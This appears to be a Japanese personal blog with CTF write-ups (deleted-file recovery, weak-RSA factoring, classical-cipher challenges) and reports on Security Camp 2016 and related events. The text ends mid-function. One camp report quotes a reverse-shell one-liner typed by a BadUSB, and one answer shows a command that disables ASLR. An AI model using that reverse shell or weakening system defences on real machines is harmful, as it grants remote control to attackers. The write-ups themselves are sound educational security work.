ブログ未満のなにか

ブログなのか誰にも分からない

camp ctf 2016 writeup -ジャンルが分からない問題編 part 1-

はじめに

前回の記事に引き続き、セキュリティキャンプで開催されたCTFのwriteupです。
今回は、問題のジャンルが判別できなかったものです。

secret.zip

/home/pi/problems/に、いくつかのファイルが置いてある。
その中の一つで、forensic系の問題。

解凍して、種類を確認してみる。

$ unzip secret.zip 
Archive:  secret.zip
  inflating: camp_forensic.bin

$ file camp_forensic.bin 
camp_forensic.bin: Linux rev 1.0 ext4 filesystem data, UUID=1da7d7fb-a2a2-405b-95ee-c506c875aa7e (needs journal recovery) (extents) (huge files)

ext4なので、マウントしてみる。中身は、以下の通りだった。flagディレクトリの中にflagファイル、隠しディレクトリの.keysの中にid_rsa.pubといった感じ(lost+foundは知らない。見れない理由は分からないけど、解いていく過程で必要なかった)
各ファイルの中身は以下の通り。
flagファイルはダミー。id_rsa.pubは、名前とファイルの形式から、RSAの公開鍵だと思われる。

$ sudo mount -o loop camp_forensic.bin /mnt/
$ tree -a /mnt/
/mnt/
├── flag
│   └── flag
├── .keys
│   └── id_rsa.pub
└── lost+found [error opening dir]

$ cat /mnt/flag/flag 
FLAG{dummy}
$ cat /mnt/.keys/id_rsa.pub 
-----BEGIN PUBLIC KEY-----
MDcwDQYJKoZIhvcNAQEBBQADJgAwIwIcDDw+ASni/QBnuKaXy1ZrfUn32msWl9ky
YSP6jQIDAQAB
-----END PUBLIC KEY-----

ここで、消去されたファイルがないか探してみる。あった。

$ sudo extundelete --after 1470068040 --restore-all ./camp_forensic.bin
Only show and process deleted entries if they are deleted on or after 1470068040 and before 9223372036854775807.
NOTICE: Extended attributes are not restored.
WARNING: EXT3_FEATURE_INCOMPAT_RECOVER is set.
The partition should be unmounted to undelete any files without further data loss.
If the partition is not currently mounted, this message indicates 
it was improperly unmounted, and you should run fsck before continuing.
If you decide to continue, extundelete may overwrite some of the deleted
files and make recovering those files impossible.  You should unmount the
file system and check it with fsck before using extundelete.
Would you like to continue? (y/n) 
y
Loading filesystem metadata ... 8 groups loaded.
Loading journal descriptors ... 45 descriptors loaded.
Searching for recoverable inodes in directory / ... 
1 recoverable inodes found.
Looking through the directory structure for deleted files ... 
0 recoverable inodes still lost.

% ls
RECOVERED_FILES/  camp_forensic.bin  secret.zip

% tree -a RECOVERED_FILES
RECOVERED_FILES
└── flag
    └── flag.txt

中身は、暗号化されているようなので、復号する必要がある。

% cat RECOVERED_FILES/flag/flag.txt 
#J4?j?-?v=???R*E&???YH? %                                                                                                     

% xxd RECOVERED_FILES/flag/flag.txt 
0000000: 0623 4a34 ff6a 9910 2da1 763d a2e7 e652  .#J4.j..-.v=...R
0000010: 042a 4526 8ab8 8259 48c7 1320            .*E&...YH.. 

ここで、最初に見つけたRSAの公開鍵を使うんだなと考える。鍵長も長くなさそうだしゴリ押しで行けるだろwという発想。
公開鍵のファイルから、eとNを取り出す。220bitなので、現実的時間内に、pとqを求めることができる。

% openssl rsa -text -modulus -pubin < id_rsa.pub 
Public-Key: (220 bit)
Modulus:
    0c:3c:3e:01:29:e2:fd:00:67:b8:a6:97:cb:56:6b:
    7d:49:f7:da:6b:16:97:d9:32:61:23:fa:8d
Exponent: 65537 (0x10001)
Modulus=C3C3E0129E2FD0067B8A697CB566B7D49F7DA6B1697D9326123FA8D
writing RSA key
-----BEGIN PUBLIC KEY-----
MDcwDQYJKoZIhvcNAQEBBQADJgAwIwIcDDw+ASni/QBnuKaXy1ZrfUn32msWl9ky
YSP6jQIDAQAB
-----END PUBLIC KEY-----

pとqは、1067720436041231358402956670029837と1206804386570390765714542811755649だった。

% msieve -q -v 0x0c3c3e0129e2fd0067b8a697cb566b7d49f7da6b1697d9326123fa8d


Msieve v. 1.52 (SVN unknown)
Wed Aug 31 21:40:02 2016
random seeds: e9b0fdb9 aae3203b
factoring 1288529705845408357244049553359282722253970863715459988603183299213 (67 digits)
searching for 15-digit factors
commencing quadratic sieve (67-digit input)
using multiplier of 13
using generic 32kb sieve core
sieve interval: 12 blocks of size 32768
processing polynomials in batches of 17
using a sieve bound of 153941 (7152 primes)
using large prime bound of 10621929 (23 bits)
using trial factoring cutoff of 23 bits
polynomial 'A' values have 8 factors
restarting with 3567 full and 38233 partial relations

7753 relations (3567 full + 4186 combined from 38233 partial), need 7248
sieving complete, commencing postprocessing
begin with 41800 relations
reduce to 11350 relations in 2 passes
attempting to read 11350 relations
recovered 11350 relations
recovered 8996 polynomials
attempting to build 7753 cycles
found 7753 cycles in 1 passes
distribution of cycle lengths:
   length 1 : 3567
   length 2 : 4186
largest cycle: 2 relations
matrix is 7152 x 7753 (1.1 MB) with weight 215230 (27.76/col)
sparse part has weight 215230 (27.76/col)
filtering completed in 4 passes
matrix is 6588 x 6652 (0.9 MB) with weight 178112 (26.78/col)
sparse part has weight 178112 (26.78/col)
commencing Lanczos iteration
memory use: 0.9 MB
lanczos halted after 106 iterations (dim = 6582)
recovered 61 nontrivial dependencies
prp34 factor: 1067720436041231358402956670029837
prp34 factor: 1206804386570390765714542811755649
elapsed time 00:00:01

あとはやるだけ。
private.keyの生成は、過去の記事を見てください。dを求めたら、後はスクリプト内の各パラメータを設定するだけ
hama.hatenadiary.jp

% openssl rsautl -decrypt -inkey private.key < flag.txt                   
f0r3n51c515fun

さいごに

本当は他の問題も書く予定だったが、長くなったので分割します。
自分で書いたスクリプトを、後から見返すとセンスなさすぎ、汚すぎで見てられない。
問題自体は、結構楽しめて解けた。フラグからforensicとあるが、RSAで詰まった人の方が多いような気もする。
実際に自分も競技時間中にopensslで公開鍵のパラメータの表示方法を忘れて詰まってしまった。
競技中にインターネットから遮断されていたのが辛かった。

camp ctf 2016 writeup -Earth編-

はじめに

セキュリティキャンプ全国大会2016中に開催されたctfのwriteupです。
まだ全部解いてないので、Earth(Crypto)だけのwriteupです。

ポートスキャンの結果

Earthが待ち受けているのは、10725番ポートだった。このポートに対してnetcatして、解いていく感じ。

% nmap 192.168.179.3 -p1-65535

Starting Nmap 7.12 ( https://nmap.org ) at 2016-08-29 20:51 JST
Nmap scan report for 192.168.179.3
Host is up (0.013s latency).
Not shown: 65530 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  https
10725/tcp open  unknown
24154/tcp open  unknown

1問目

見た感じrot13だと思ったので、pythonで確認。

% nc 192.168.179.3 10725
----------------------------------------------------------------
Problem #1
SYNT{uryybpelcgbfreire}

Challenge 1/3>
% python                                                   
Python 2.7.10 (default, Oct 23 2015, 19:19:21) 
[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> "SYNT{uryybpelcgbfreire}".decode("rot13")
u'FLAG{hellocryptoserver}'

2問目

1問目のflagを入力して2問目へ。
rot13の次だから、換字式なんだろうなーと思い、大文字小文字のアルファベットを入力してみる。

Problem #2
KMZH{xbqofodmzxxnddnotqu}

Challenge 1/3> abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQESTUVWXYZ
zrdaqkhtnlpmijvowuxbfsegcyZRDAQKHTNLPMIJVOWQXBFSEGCY
Wrong..
Challenge 2/3>

より換字式っぽさが出てきたので、適当に復号してみる。

# decrypto.py

P = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQESTUVWXYZ{}"
C = "zrdaqkhtnlpmijvowuxbfsegcyZRDAQKHTNLPMIJVOWQXBFSEGCY{}"

flag = "KMZH{xbqofodmzxxnddnotqu}"

print "".join(P[C.index(q)] for q in flag)
# FLAG{stepupclassiccipher}

ちなみにだが、この変換テーブルは接続するたびに変わっている。

3問目

2問目のflagを入力して、3問目へ。
16進数のような文字列が出てきた。

Problem #3

1fb53a2b241ad4b1219609143010d8b120890f0322

Challenge 1/3> AAAAAAAAAAAAAAAAAAAAAA
18b83a2d1e23fa8218b83a2d1e23fa8218b83a2d1e23
Wrong..

そのままではASCIIコードとしては使えないので、xorしているんだろうな、と予測する。
1回の接続中にxorの鍵が変わることはないだろうと踏んで、AAA...を入力。出力結果からxorの鍵を求めて、それと出題をxorする。

q = "1fb53a2b241ad4b1219609143010d8b120890f0322".decode("hex")
aaa = "18b83a2d1e23fa8218b83a2d1e23fa8218b83a2d1e".decode("hex")

flag = ""
for i in range(len(d)):
    flag += chr((ord(aaa[i]) ^ ord("A") ) ^ ord(q[i]))
print flag
# FLAG{xorxorxorcrypto}

writeupを書いてる途中で気づいたが、鍵は8文字ぐらいで繰り返しになっている。

4問目

Problem #4 - RSA
やるだけ

----------------------------------------------------------------
Problem #4 - RSA

p = 89763157488328820493828889999529349687515193829186446452191659847993832608188788728417088150112600782050523041398$
3432801309883064874870881446698538363907
q = 113841038790428002844600998710560664858598146193863557129392399065993065441040086685388432151725491152653570885016
24031156542729241733486420090143766579357
e = 65537
C = 0x23464c5c42a522eed7e2f15d7ada1a8c9d87918f1bd01ccdf6718e5fffa09c6ca166732f41dd23af65df64771d40508a86c6590725eb2c8c
dcc2a51b6a7ab6f483c393a2a59468341302a1d58f945541a5ffd23283c5c04b0c449ba3bb7e53b0bc6530bfcc5e9757ae8b49da67d2d47ef9aba7
c65ca3517d5bf6d7b5da3fb421
Answer(FLAG{...})>
def bits(integer): #Gets number of bits in integer
   result = 0
   while integer:
      integer >>= 1
      result += 1
   return result
def mod_pow(base, exponent, modulo=None): #Allows fast exponentation with and without moduli
   result = 1L
   if modulo == None:
      iteration = bits(exponent)
      while iteration >= 0:
         result *= result
         if (exponent >> iteration) & 1:
            result *= base
         iteration -= 1
   else:
         firstModulus = base % modulo
         iteration = bits(exponent)
         while iteration >= 0:
            result = (result * result) % modulo
            if (exponent >> iteration) & 1:
               result = (result * firstModulus) % modulo
            iteration -= 1
   return result

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)


# ax = 1 mod m 
def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m

p = 8976315748832882049382888999952934968751519382918644645219165984799383260818878872841708815011260078205052304139803432801309883064874870881446698538363907
q = 11384103879042800284460099871056066485859814619386355712939239906599306544104008668538843215172549115265357088501624031156542729241733486420090143766579357
e = 65537
c = 0x23464c5c42a522eed7e2f15d7ada1a8c9d87918f1bd01ccdf6718e5fffa09c6ca166732f41dd23af65df64771d40508a86c6590725eb2c8cdcc2a51b6a7ab6f483c393a2a59468341302a1d58f945541a5ffd23283c5c04b0c449ba3bb7e53b0bc6530bfcc5e9757ae8b49da67d2d47ef9aba7c65ca3517d5bf6d7b5da3fb421


phi = (p-1) * (q-1)
n = p * q
d = modinv(e, phi)

m = mod_pow(c, d, n)
print hex(m)[2:-1].decode("hex")
# FLAG{didyoulearnrsa?}

全部回答すると、祝福が見れる。

Answer(FLAG{...})> FLAG{didyoulearnrsa?}
Correct!
----------------------------------------------------------------
Congratulations! You solved all challenges!

おわりに

難易度自体は低めだったので、「早めに取り組めていたらなー」と後悔している。
やるだけだった。

mixi git challenge の感想

はじめに

mixi主催の「git challenge」に参加しました。
gitに関する問題を解いて競い合う感じのイベントです。

競技内容

問題内容は公開しないように、とのことなので特に書くことはありません。
ただ、addとcommit、pushぐらいしか使ったことない僕では、全然ダメでした。
1ptしか取れず、辛かったです。相方がほとんどのポイントを入れてくれたので申し訳なかったです。
conflictの解決が全くできませんでした。
チュートリアルの時点で、着いていけてなかったので、挑戦していない問題の解説とか聞いても理解できませんでした。

gitの構造

ロクに問題が解けなかった(取っ掛かりさえ分からなかった)ので、最後の1時間で星5の問題に挑戦していました。
詳細は伏せますが、gitの仕組みを突いた問題でした。その過程で、色々と知見を得ることができたのが良かったです。
gitはファイルやディレクトリをobjectとして管理していること、objectの構造、objectが多いとpackされること、unpackの仕方、unpackの仕様や、pushするときの仕様などなどです。

ここを参考にしてました。
Git - Gitオブジェクト


実際に起こり得そうな問題では、どこで使えるのか分からないので、CTFで出ることを祈ってます。

終わりに

僕自身はダメダメでしたが、イベントはとても楽しかったです。
美味い飯!
美人事!
Octcatのステッカー!
最高ですね。

どうでもいいことなんですが、競技時間中の脳内BGMは「conflict」でした。帰りにゲーセン行ってチュウニズムでconflictやりました。

siromaru + cranky / conflict [Music Video]

セキュリティキャンプ2016 全国大会 参加報告・感想

はじめに

8月13日時点で、書きかけです。
ちゃんとしたものは、院試が終わってからになります。

院試が終わりました。結果はどこかで報告してると思います。
seccamp CTFのwriteupは、SANSやらgit challengeが終わってから別記事として挙げます。
(2016/08/18)

チーム名は「一対三」と書いて、「ゔぃむのかち」と読みます。
チーム4人の中で、Vim派が3人、Emacs派が1人だったのが由来です。


参加した講義一覧

各講義内容に関しては、後で書きます
ハードウェアよりなのはご愛嬌。

専門講義1:1-C 公開鍵暗号のハードウェア実装と攻撃~ICカードが持つ脆弱性とその対策~
専門講義2:2-B 謎マシンでNetBSDのクロス開発体験
専門講義3:3-B フィジカル・リバースエンジニアリング入門
専門講義4:4-C オンラインゲームアタック&ディフェンスチャレンジ
専門講義5:5-B USBメモリからブートしてみよう
専門講義6:6-B AVRマイコンで作るBadUSB自作
専門講義7:7-C 遠隔操作マルウェアと標的型攻撃からの防衛
公開鍵暗号のハードウェア実装と攻撃~ICカードが持つ脆弱性とその対策~

サイドチャネル攻撃を実践してみる講義。
サイドチャネル攻撃の学習用ボードを用いた演習で、RSAとAESの秘密鍵を解析した。
RSAは、計算する回路の違いから電圧に差が生じるので、オシロスコープを見ながら、鍵を推定した。
AESは、ノイズの影響が大きく、多量のサンプリングを取って解析した。サンプリングしたデータから、鍵を推定する過程は、元から用意されていたツールを使ったので、詳細は分からなかった。

サイドチャネル攻撃を知識としてしか知らなかったので、実践できたのがとても良かった。

謎マシンでNetBSDのクロス開発体験

VMNetBSDを動作させ、その上でRaspberry Piで動作するカーネルをビルドした。
僕の環境では、カーネルを書き換えて動作させたところ、dhcpdあたりで処理が止まってしまった。
LANケーブルを繋がないと、正常に処理が進んでいくので、dhcpdに関するビルドが失敗もしくはバグだと思う。

Raspberry Piをbaremetalさせるときに、クロスコンパイルを整備したことがあるが、NetBSDだととても簡単にできた(そもそもデフォルトで揃っていた?)。

フィジカル・リバースエンジニアリング入門

よく分からない基盤を渡され、そこから解析をしていく講義。
まずは、基盤上にあるチップの型番を調べ、リファレンスシートが探し、リファレンスシートを読みながら、UARTやJTAGがないか探した。
実際に、UARTからログを抜き出し、どのような情報があるのか調査した。
ROMの開始アドレスやサイズなどを調べた。

オンラインゲームアタック&ディフェンスチャレンジ

この講義が一番辛かった。
「Node.jsわからん!Web無理!」以上です。
精進します。

USBメモリからブートしてみよう

USBのMBRに命令書き込んで、OSを介さずにHello World!する講義。
講義資料として頂いた本の表紙が可愛い。

AVRマイコンで作るBadUSB自作

AVRマイコンを使って、BadUSBを作ってみる講義。AVRマイコンは、PS/2キーボードのキー入力をエミュレートし、PS/2-USB変換アダプターでPCに接続するといった感じ。

Windowsに対して、電源を落とすBasUSBを作った。
「Alt + F4」と「 Enter」を押すだけ。

Linux(もしくはそれに準ずる感じのOS)に対して、リバースシェルを貼るBadUSBも作った。
「sh -i >& /dev/tcp/10.0.0.1/8080 0>&1」を入力するだけ。

他の参加者の作ったBadUSBを見て回って、キーボードをエミュレートしてるだけでも、色々な事ができる事を知った。

遠隔操作マルウェアと標的型攻撃からの防衛

個人的に雲の上の存在だと思っていた凌さんの講義。他の講師に関しては、名前聞いた事あるなーぐらいしか思わなかったが、凌さんにお会いできた時は感動した。そもそも実在したんだとさえ思った。

ShinoBotでのマルウェア体験や、RAT(Remote Access Trojan / Remote Administration Tool)の開発をした。
無限CDトレー開き最高!

tweetは、マルウェア体験中にwebカメラで撮影されていたもの。


seccamp CTF

結果は、3位。
競技時間中に解けたのは3問。
放置したのが2問。
競技中はノータッチだったけど、あとからやってみて解けたのが2問でした。
競技中、インターネットに接続できなくて無限に辛かった。

競技用のイメージが配布されるらしいので、ある程度解いたらwriteup書きます。

f:id:hama7230:20160818130457j:plain:w300

グループワーク

結果は、ナイスファイト賞
たぶん、投票数的に次点。
内容は、YouTuberによるITモラルを伝える動画の配信
会場の笑いを取れたので満足した。
結構いいアイディアだったなと自画自賛してるのは内緒


f:id:hama7230:20160818130500j:plain:w300

感想

たのしかった。
あと煽られすぎた。理由のない唐突なプロはやめて

さいごに

参加者、チューター、講師、運営の皆様方のおかげで、とても楽しく刺激的な5日間でした。
本当にありがとうございました!
来年はチューターとして参加できるように、どんどんアウトプットしていきたいです。

katagaitai CTF勉強会 #5 - 関東|med の感想

はじめに

中級者くらいの人 ではないけど、強くなりたい初心者。
プロによる勉強会なので、色々と学べるはずだと思い参加しました。

午前にcrypto、午後にpwnという2部構成。
どちらも、今の自分には難易度が高かった(特にtp)
いつかは、サクッと解けるようになりたいなぁ...

細かい内容自体は、いずれスライドが公開されるそうなので割愛。

crypto

まず、Merkle-Damgård構造の説明を受け、それに対する代表的攻撃手法であるlength-extensionを実践した。
あるハッシュ値から内部状態を割り出せれば、length-extensionが可能であるらしい。

次に、FastCallという、あるメッセージ(ファイル)から同じハッシュ値となる2つのメッセージ(ファイル)を出力するツールを使った。
MD5の衝突攻撃と呼ばれるそうで、MD5が同じでありながら、SHA1は異なるようなものが生成可能。(すごい)

parlorは院試終わったらやる!

pwn

tp(辛いpwn)を題材に、ヒープ系pwnの解き方と、sandboxの攻略方法を解説していた。
わからん!本当にわからん!
過去のkatagaitaiCTFの資料を読んで勉強します...

配布されたexploitを走らせると確かにフラグが取れたが、圧倒的知識不足で理解が追いつかなかった。

おわりに

katagaitaiCTF、5周年おめでとうございます!

(9時間近い勉強会は、kosigaitai)

秘密鍵をpem形式にする

ctfをやっている最中に、求めた秘密鍵Wiresharkに食わせて
暗号化された通信を復号する必要があった.

秘密鍵の値や素数の値は分かっているので、フォーマットを合わせればいけるだろと簡単に考えてたら結構時間を費やしてしまった。

wiresharkは、opensslコマンドでデフォルトで生成されるpem形式を扱うことができる。
pem形式のフォーマットに関しては、こちらを参考にした。
RSA 秘密鍵/公開鍵ファイルのフォーマット - bearmini's blog

とても分かりやすくスクリプトを書く際にとても役立った。感謝

以下が、pem形式の秘密鍵ファイルを生成するpythonでのスクリプト
ファイルに格納される情報は、e、p、qさえあれば全て計算できるが、割愛している

# s: integer, return "00ABFF"
def my_hex(s):
    s = hex(s)[2:]
    if s[-1] == 'L':
        s = s[:-1]
    if len(s) % 2 == 0:
        return s
    else:
        return '0'+s

# s: integer, return byte length
def getLength(s):
    he = my_hex(s)
    le = len(he) / 2
    return le


# s: integer, return str_hex
def setByteStream(s):
    buf = "02"

    length = getLength(s)

    if length >= 0b10000000:
        lengthlength = getLength(length + 1)
        buf += my_hex(0b10000000 | lengthlength)
        buf += my_hex(length +1)
        buf += '00' + my_hex(s)
    else:
        buf += my_hex(length)
        buf += my_hex(s)
    return buf

def calcLength(buf):
    length = len(buf) / 2
    
    b = ""
    if length >= 0b10000000:
        lengthlength = getLength(length)
        b += my_hex(0b10000000 | lengthlength)
        b += my_hex(length)
    else:
        b += my_hex(length)

    return b


e = 65537
d = 100
p = 3
q = 5
n = p * q
inv_q = 10


f = open("privatekey.pem", "wb")

f.write("-----BEGIN RSA PRIVATE KEY-----\n")

version = "020100"
modules = setByteStream(n)
pubExp = setByteStream(e)
priExp = setByteStream(d)
prime1 = setByteStream(p)
prime2 = setByteStream(q)
exp1 = setByteStream(d % (p-1))
exp2 = setByteStream(d % (q-1))
coefficient = setByteStream(inv_q)

buf = version + modules + pubExp + priExp + prime1 + prime2 + exp1 + exp2 + coefficient

sequence = "30" + calcLength(buf)

buf = sequence + buf
buf = al.decode("hex")
buf = al.encode("base64")

f.write(buf)

f.write("-----END RSA PRIVATE KEY-----\n")

f.close()

セキュリティキャンプ2016 選択問題(完全版)

はじめに

セキュリティキャンプ全国大会2016合格してました!
晴れて合格してたので、選択問題の解答を全て晒します。
選択問題は、1, 3, 4, 5を解きました。
(間違ってる内容もあると思うので、見つけて指摘頂けたら幸いです)

選択問題1

設問

以下は変数hogeとfugaのメモリアドレスを表示するプログラムと、その実行結果です。
実行結果のhogeとfugaのメモリアドレスを見て、思うことを説明してください。

ソースコード

#include <stdio.h>
#include <stdlib.h>
 
int main(int argc, char **argv){
 int hoge[10];
 int *fuga;
 
 fuga = malloc(1);
 
 printf("hoge address = %p\n", hoge);
 printf("fuga address = %p\n", fuga);
 
 free(fuga);
 return 0;
}

・実行結果
hoge address = 0x7fff539799f0
fuga address = 0x7fca11404c70

解答

OS Xでの実行結果

[hama@MBA] ~
% ./a.out 
hoge address = 0x7fff57d288b0
fuga address = 0x7f9f31404ad0
[hama@MBA] ~
% ./a.out
hoge address = 0x7fff55bd68b0
fuga address = 0x7fb960602f30
[hama@MBA] ~
% ./a.out
hoge address = 0x7fff595b68b0
fuga address = 0x7f9d22404ad0
[hama@MBA] ~
% ./a.out
hoge address = 0x7fff5ee428b0
fuga address = 0x7fe490c04ad0


Ubuntu 16.04での実行結果

$ ./a.out 
hoge address = 0x7fff524f5be0
fuga address = 0x24cb010
$ ./a.out 
hoge address = 0x7ffc5b706280
fuga address = 0xbb1010
$ ./a.out 
hoge address = 0x7ffec3229e10
fuga address = 0x23fe010
$ ./a.out 
hoge address = 0x7fff8565f1e0
fuga address = 0x1439010
$ ./a.out 
hoge address = 0x7ffe336d1510
fuga address = 0x228d010

CentOS 6での実行結果

% ./a.out 
hoge address = 0x7ffe96375580
fuga address = 0x18a3010
[hama@tk2-207-13420] ~
% ./a.out
hoge address = 0x7ffc220d4fc0
fuga address = 0x1483010
[hama@tk2-207-13420] ~
% ./a.out
hoge address = 0x7ffdf439b9c0
fuga address = 0x14d6010
[hama@tk2-207-13420] ~
% ./a.out
hoge address = 0x7ffd7b1ff710
fuga address = 0x849010

プログラムが実行される際、メモリは5つのセグメントに分割される。
実行される機械語が格納されるテキストセグメント、初期化された大域変数や静的変数が格納されるデータセグメント、初期化されていない大域変数や静的変数を格納されるbssセグメント、プログラムから制御が可能なヒープセグメント、スタックフレームが積まれるスタックセグメントの5つである。
スタックフレームは、関数内で使用される局所変数や、関数から呼び出し元へ戻るためのアドレスなどで構成されている。
設問のプログラムを見ると、変数hogeはmain関数での局所変数であり、セグメントはスタックセグメントであると思われる。また変数fugaは、mallocから動的にメモリを確保しているので、ヒープセグメントであると思われる。各セグメントの配置は、低位アドレスから、テキストセグメント、データセグメント、bssセグメント、ヒープセグメント、スタックセグメントとなっている。
ヒープセグメントとスタックセグメントは、どちらも動的にサイズが変化していき、お互いに向かい合うように成長していく。ヒープセグメントは、低位から高位に向かって成長していき、スタックセグメントは、高位から低位に向かって成長していく。実行結果を見てみると、ヒープセグメントに配置されている変数fugaは、スタックセグメントに配置されている変数hogeよりも、低位のアドレスを示している。
ヒープセグメントとスタックセグメントは、互いにメモリを食い潰していくように成長していく。そのため、成長を続けていくといずれメモリを確保することができなくなる。この実行結果では、あと228GByte残っている。

いくつかのOSで実行してみて、結果を比較してみた。
最初の結果が、手元のOS X(64bit)で実行した結果である。
2つ目の結果が、CentOS 6(64bit)での実行結果である。
3つ目の結果が、Ubuntu 14.04(64biy)での実行結果である。
変数fugaのアドレスから、設問での実行結果は、 OS Xで実行したものではないかと考えられる。
Linuxの方が、ヒープとスタックに大きな余裕がある。この余裕の差は、OSの設計方針によるものだと考えられる。

実行するたびに、実行結果が異なっているのはASLRと呼ばれるセキュリティ機構が働いてるためである。アドレスの推測を困難にし、エクスプロイトを簡単に実行させないようにしている。
linuxであれば、以下のコマンドでASLRを無効化できる。
sudo sysctl -w kernel.randomize_va_space=0
有効化したい場合は、以下のようにすれば良い
sudo sysctl -w kernel.randomize_va_space=2

選択問題3

設問

RAMは主記憶装置、HDDやSSDなどは補助記憶装置と呼ばれます。一般にCPUは主記憶装置上のプログラムしか実行できません。ではなぜ、私たちは普段から補助記憶装置に書き込んだプログラムを実行できているのでしょうか?パソコンの電源を入れてからのストーリーを考えてみてください。

解答

電源が入ると、まず、ブートプロセスが実行される。
これは、補助記憶装置上に存在するOSもしくは単一のアプリケーションを主記憶装置上へと転送・展開するためのプロセスである。

そして、ブートプロセスは、展開したOSもしくは単一のアプリケーションへと制御を渡す。
制御の渡し方は、単純に、展開したOSを予め指定しておいた位置に存在する機械語を実行していくだけである。
以上が、電源投入からOSが起動して実行が開始されるまでの流れである。

OSは、目的のために様々なアプリケーションプログラムを実行する。そのプログラムは、補助記憶装置上に保存されており、実行される時に、主記憶装置上へと展開される。この時に、主記憶装置上に空きがあれば、その位置へと展開されるが、主記憶装置が既に他のプログラムなどで占有されていた場合は、目的のプログラムを主記憶装置上へと転送できずに実行できない。一般に、主記憶装置の領域の大きさは、補助記憶装置お領域の大きさと比べて圧倒的に小さい。一般で市販されているPCでは、メモリ4GByteに対して主記憶装置は500GByte程度であり、およそ1/100である。補助記憶装置にあるプログラムを全て主記憶装置上で展開することは一般的には不可能である。主記憶装置上で展開されているプログラムは、基本的には実行しているプログラムである。しかし実際にCPUで処理を行っているプログラムは、CPUの数に依存している。CPUの数が一つであると仮定すると、ある時間でCPUで命令が実行されているプログラムは一つだけであり、他の主記憶装置上へと展開されたプログラムは実行されない。他のプログラムを実行するには、CPUで実行しているプログラムが、終了するか実行権限を手放すか、もしくはOSが決めたタスクスケジューリングでより優先度の高いタスクが存在する時のみである。割り込みが発生すれば、自ずと処理は割り込みディスクリプタへと移る。

選択問題4

設問

めんどくさいので略します。
心ぴょんぴょんプロトコル解析の問題です。

解答

C言語を用いて解析プログラムを作成した。
あるn番目のパケットに対して、以下のような解析結果を出力する。
”[INFO] n (PASS!|REJECTED in 落ちた箇所)”

以下の、条件が不明瞭であった。cond.2やcond.3のように大文字と小文字の区別を付けるのかどうか明記されていない。
そのため区別しないという解釈と、提示されている文字列そのままであるという解釈の2つの解釈が存在する。
よって、それぞれの解釈に基づいて2種類の解析結果を求めた。

Condition 4: Sourceが”cocoa-san”かつDestinationが”Chino”の場合はREJECTする。

提示されている文字列のみを処理するという解釈を解釈1、大文字小文字に関わらずに処理するという解釈を解釈2とする。
解釈1の結果がリスト1、解釈2の結果がリスト2となっている。
解釈1の結果では、条件4でリジェクトされたパケットが存在しない。そのためか、解釈2と比較してパスしたパケットが多くなっている。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>


#define BUF_SIZE 2048

#define MAGIC_SIZE  2
#define SOURCE_SIZE 20
#define DEST_SIZE   20
#define LENGTH_SIZE 4
#define HEADER_SIZE MAGIC_SIZE + SOURCE_SIZE + DEST_SIZE + LENGTH_SIZE


int checkMagic(char* data);
int checkSource(char* data);
int checkDestination(char *data);
int checkCocoaChino(char *source);
unsigned int calcDataLength(char *dataLength);
int validOrderBrand(char *data);
int invalidOrderBrand(char *data);

// 引用した関数
int strcmp_ignorecase(const char *s1, const char *s2);


int main(int argc, char* argv[]){
    
    printf("Start RH Protocol analyzer\n");

    FILE* fp;
    
    if ((fp = fopen("pyonpyon.rh", "rb")) == NULL) {
        printf("file cannot open!\n");
        exit(EXIT_FAILURE);
    }

    int i = 1;   
    
    while(1) {
        char header_buf[BUF_SIZE];
        char data_buf[BUF_SIZE];
        int flag = 0;

        int n = fread(header_buf,sizeof(char), HEADER_SIZE, fp);
        //printf("n = %d\n", n);
        if (n < HEADER_SIZE) {
            printf("[INFO] file reading is finish!\n");
            break;
        }

        if (checkMagic(header_buf) != 1) {
            printf("[INFO] %d REJECTED in Magic\n", i);
        } else if (checkSource(header_buf + MAGIC_SIZE) != 1) {
            printf("[INFO] %d REJECTED in Source\n", i);
        } else if (checkDestination(header_buf + MAGIC_SIZE + SOURCE_SIZE) != 1) {
            printf("[INFO] %d REJECTED in Destination\n", i);
        } else if (checkCocoaChino(header_buf + MAGIC_SIZE) != 1) {
            printf("[INFO] %d REJECTED in Cond.4\n", i);
        } else {
            flag = 1;
        }


        unsigned int length = calcDataLength(header_buf+MAGIC_SIZE+SOURCE_SIZE+DEST_SIZE);
        //printf("length = %u\n", length);

        n = fread(data_buf, sizeof(char), length, fp);
        
        if (n < length) {
            printf("[INFO] file reading is finish!\n");
            break;
        }
        
        if (invalidOrderBrand(data_buf) != 1) {
            printf("[INFO] %d REJECTED in invalid order\n", i);
        } else if (validOrderBrand(data_buf) != 1) {
            printf("[INFO] %d REJECTED in valid order\n", i);
        } else {
            flag += 1;
        }
    
        if (flag == 2) 
            printf("[INFO] %d PASS!\n", i);

        i++;
    }
    
    fclose(fp);
    printf("Finish RH Protocol analyzer\n");
    
    return 0;  
}



int checkMagic(char *magic) {

    if (magic[0] == 'R' && magic[1] == 'H') {
        return 1;
    } else {
        return 0;
    }
}

int checkSource(char *source) {
   
    if (strcmp_ignorecase(source, "rise-san") == 0) {
        return 1;
    } 

    if (strcmp_ignorecase(source, "cocoa-san") == 0) {
        return 1;
    } 
    return 0;
}

int checkDestination(char *dest) {
   
    if (strcmp_ignorecase(dest, "chino") == 0) 
        return 1;

    if (strcmp_ignorecase(dest, "chino-chan") == 0) 
        return 1;
    
    return 0;
}

unsigned int calcDataLength(char *dataLength) {
   
    unsigned int length = 0;
    int i;

    for (i = 0; i < LENGTH_SIZE; i++) {
        length = length << 8;
        length += (unsigned)dataLength[i];
    }
    
    return length;
}


int checkCocoaChino(char *header) {
   
    char* source = header;
    char* dest = header + SOURCE_SIZE;

    //if ((strcmp(source, "cocoa-san") == 0) && (strcmp(dest, "Chino") == 0)) 
